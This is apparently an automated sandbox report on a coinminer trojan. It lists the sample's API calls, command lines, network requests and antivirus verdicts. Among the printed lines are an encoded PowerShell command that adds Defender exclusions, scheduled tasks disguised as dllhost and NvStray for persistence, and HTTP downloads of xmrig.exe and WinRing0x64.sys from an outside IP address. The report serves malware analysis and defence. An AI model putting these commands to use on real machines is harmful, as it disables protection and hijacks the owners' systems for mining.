NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02673000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02674000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0262b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02675000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Jan. 27, 2025, 4:41 p.m.	process_identifier: 2828 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\ProgramData\Dllhost\winlogson.exe

Creates hidden or system file (2 events)

Time & API	Arguments	Status	Return	Repeated
SetFileAttributesW Jan. 27, 2025, 4:41 p.m.	file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: C:\ProgramData\Dllhost\ filepath: C:\ProgramData\Dllhost\	1	1	0
SetFileAttributesW Jan. 27, 2025, 4:41 p.m.	file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: C:\ProgramData\HostData\ filepath: C:\ProgramData\HostData\	1	1	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (5 events)

cmdline	powershell -EncodedCommand "PAAjAGYAZAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMARABWAGUAZQBIADEAagBNAFoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcABCAEMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQA4AEwAYQB4AFcANwBVAEcAZQBWACMAPgA="
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5327" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /C powershell -EncodedCommand "PAAjAGYAZAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMARABWAGUAZQBIADEAagBNAFoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcABCAEMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQA4AEwAYQB4AFcANwBVAEcAZQBWACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Jan. 27, 2025, 4:41 p.m.	thread_identifier: 2768 thread_handle: 0x00000348 process_identifier: 2764 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "cmd.exe" /C powershell -EncodedCommand "PAAjAGYAZAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMARABWAGUAZQBIADEAagBNAFoAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcABCAEMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQA4AEwAYQB4AFcANwBVAEcAZQBWACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000354	1	1
CreateProcessInternalW Jan. 27, 2025, 4:41 p.m.	thread_identifier: 2108 thread_handle: 0x00000780 process_identifier: 2116 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000784	1	1
CreateProcessInternalW Jan. 27, 2025, 4:41 p.m.	thread_identifier: 192 thread_handle: 0x00000784 process_identifier: 2068 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5327" /TR "C:\ProgramData\Dllhost\dllhost.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000780	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Jan. 27, 2025, 4:41 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Jan. 27, 2025, 4:41 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Jan. 27, 2025, 4:41 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Terminates another process (7 events)

Time & API	Arguments	Status
NtTerminateProcess Jan. 27, 2025, 4:41 p.m.	status_code: 0xffffffff process_identifier: 2068 process_handle: 0x00000784
NtTerminateProcess Jan. 27, 2025, 4:41 p.m.	status_code: 0xffffffff process_identifier: 2068 process_handle: 0x00000784	1
NtTerminateProcess Jan. 27, 2025, 4:41 p.m.	status_code: 0xffffffff process_identifier: 2116 process_handle: 0x00000774
NtTerminateProcess Jan. 27, 2025, 4:41 p.m.	status_code: 0xffffffff process_identifier: 2116 process_handle: 0x00000774	1
NtTerminateProcess Jan. 27, 2025, 4:41 p.m.	status_code: 0xffffffff process_identifier: 152 process_handle: 0x00000774
NtTerminateProcess Jan. 27, 2025, 4:41 p.m.	status_code: 0xffffffff process_identifier: 152 process_handle: 0x00000774	1
NtTerminateProcess Jan. 27, 2025, 4:41 p.m.	status_code: 0xffffffff process_identifier: 2564 process_handle: 0x000007bc

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5327" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Communicates with host for which no DNS query was performed (1 event)

host

185.215.113.51

A process attempted to delay the analysis task. (1 event)

description

conhost.exe tried to sleep 2728165 seconds, actually delayed analysis time by 2728165 seconds

Installs itself for autorun at Windows startup (3 events)

cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5327" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
cmdline	SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Network communications indicative of possible code injection originated from the process conhost.exe (5 events)

Time & API	Arguments	Status	Return
send Jan. 27, 2025, 4:41 p.m.	buffer: g8ï¿bÖÄí´s-/ËbhjvàïÓ*</=5 À'ÀÀÀ+À#À,À$À À @2j8>ÿpastebin.com socket: 1184 sent: 154	1	154
send Jan. 27, 2025, 4:41 p.m.	buffer: FBAc $þqóPQ¸, ¡ø¾·åë¤¾+¨þ\|ÚäÈÄû¢ïÔQ{}Ääs5qaW\H»4(÷bJ i¾+A3½UY*¾?þ C±(¤Ô socket: 1184 sent: 126	1	126
send Jan. 27, 2025, 4:41 p.m.	buffer: bØÍCRyDXbòîL¿ýNµ¿õOmþÇØõðâä0)úH!}®¥²îo[ª©úr&ÈêLi3r+4¶\iUüÄ²ñ&ð¹Q socket: 1184 sent: 103	1	103
WSASend Jan. 27, 2025, 4:41 p.m.	buffer: GET /xmrig.exe HTTP/1.1 Host: 185.215.113.51 Connection: Keep-Alive socket: 1836		0
WSASend Jan. 27, 2025, 4:41 p.m.	buffer: GET /WinRing0x64.sys HTTP/1.1 Host: 185.215.113.51 Connection: Keep-Alive socket: 1904		0

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 51 AntiVirus engines on VirusTotal as malicious (50 out of 51 events)

Lionic	Trojan.Win32.Miner.a!c
MicroWorld-eScan	Gen:Variant.Jalapeno.12820
CAT-QuickHeal	Trojan.YakbeexMSIL.ZZ4
Skyhigh	ACL/Generic Coinminer.VNWH
ALYac	Gen:Variant.Jalapeno.12820
Cylance	Unsafe
VIPRE	Gen:Variant.Jalapeno.12820
Sangfor	Suspicious.Win32.Save.a
CrowdStrike	win/malicious_confidence_100% (W)
BitDefender	Gen:Variant.Jalapeno.12820
K7GW	Trojan ( 0058f7721 )
K7AntiVirus	Trojan ( 0058f7721 )
Arcabit	Trojan.Jalapeno.D3214
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/CoinMiner.BSJ
Avast	Win32:CoinminerX-gen [Trj]
Kaspersky	HEUR:Trojan-Downloader.MSIL.Miner.gen
Alibaba	TrojanDownloader:MSIL/Tasker.0a4af6b2
NANO-Antivirus	Trojan.Win32.Miner.kvcqvr
Rising	Trojan.CoinMiner!8.30A (CLOUD)
Emsisoft	Gen:Variant.Jalapeno.12820 (B)
F-Secure	Heuristic.HEUR/AGEN.1365229
DrWeb	Trojan.BtcMine.3634
Zillya	Trojan.CoinMiner.Win32.49859
McAfeeD	Real Protect-LS!C11A82D699A0
CTX	exe.trojan.msil
Sophos	Mal/ILAgent-B
SentinelOne	Static AI - Malicious PE
FireEye	Generic.mg.c11a82d699a06d9b
Google	Detected
Avira	HEUR/AGEN.1365229
Kingsoft	MSIL.Trojan-Downloader.Miner.gen
Gridinsoft	Risk.CoinMiner.C.sd!yf
Xcitium	Malware@#1w7onykqyop6m
Microsoft	Trojan:MSIL/Tasker!MTB
GData	MSIL.Trojan.Agent.BAW
Varist	W32/MSIL_Kryptik.HRL.gen!Eldorado
AhnLab-V3	Trojan/Win.RealProtect-LS.C5207348
McAfee	ACL/Generic Coinminer.VNWH
DeepInstinct	MALICIOUS
VBA32	Downloader.MSIL.Pabin.Heur
Malwarebytes	BitcoinMiner.Trojan.Miner.DDS
Ikarus	Trojan.MSIL.CoinMiner
Panda	Trj/GdSda.A
Tencent	Malware.Win32.Gencirc.14297180
huorong	TrojanDropper/MSIL.Agent.eo
Fortinet	MSIL/CoinMiner.BSJ!tr
AVG	Win32:CoinminerX-gen [Trj]
Paloalto	generic.ml

conhost.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All